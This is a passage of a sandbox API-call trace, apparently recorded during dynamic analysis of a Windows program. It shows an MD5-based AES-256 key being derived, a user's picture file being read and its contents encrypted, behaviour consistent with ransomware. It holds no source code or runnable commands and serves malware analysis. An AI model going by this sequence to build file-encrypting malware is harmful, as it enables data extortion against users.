lpMsg=0xe8f3dfeb20) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.069] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.069] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.069] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.070] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.070] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.070] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.070] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.070] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.070] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.070] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.070] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b870, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.071] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.071] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.071] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.071] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.071] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.071] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0028.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.072] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.072] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.072] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.072] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417ad40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0028.073] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0028.073] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0028.073] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.074] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\Lm78sADYfv9pBzFMCulK.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\lm78sadyfv9pbzfmculk.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.074] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.074] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.075] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.077] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.077] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x712c, lpOverlapped=0x0) returned 1 [0028.077] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.079] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.079] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.079] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.079] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.079] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.079] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.080] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064b40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.080] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.080] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.080] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.080] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.081] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x712c, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x7130) returned 1 [0028.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.082] CharLowerBuffW (in: lpsz="byte[28977]", cchLength=0xb | out: lpsz="byte[28977]") returned 0xb [0028.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.083] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.083] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.084] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417b180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0028.084] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0028.085] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43882b0*, pdwDataLen=0xe8f3dfdf68*=0x712c, dwBufLen=0x7130 | out: pbData=0xe8f43882b0*, pdwDataLen=0xe8f3dfdf68*=0x7130) returned 1 [0028.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.086] PeekMessageW (in: 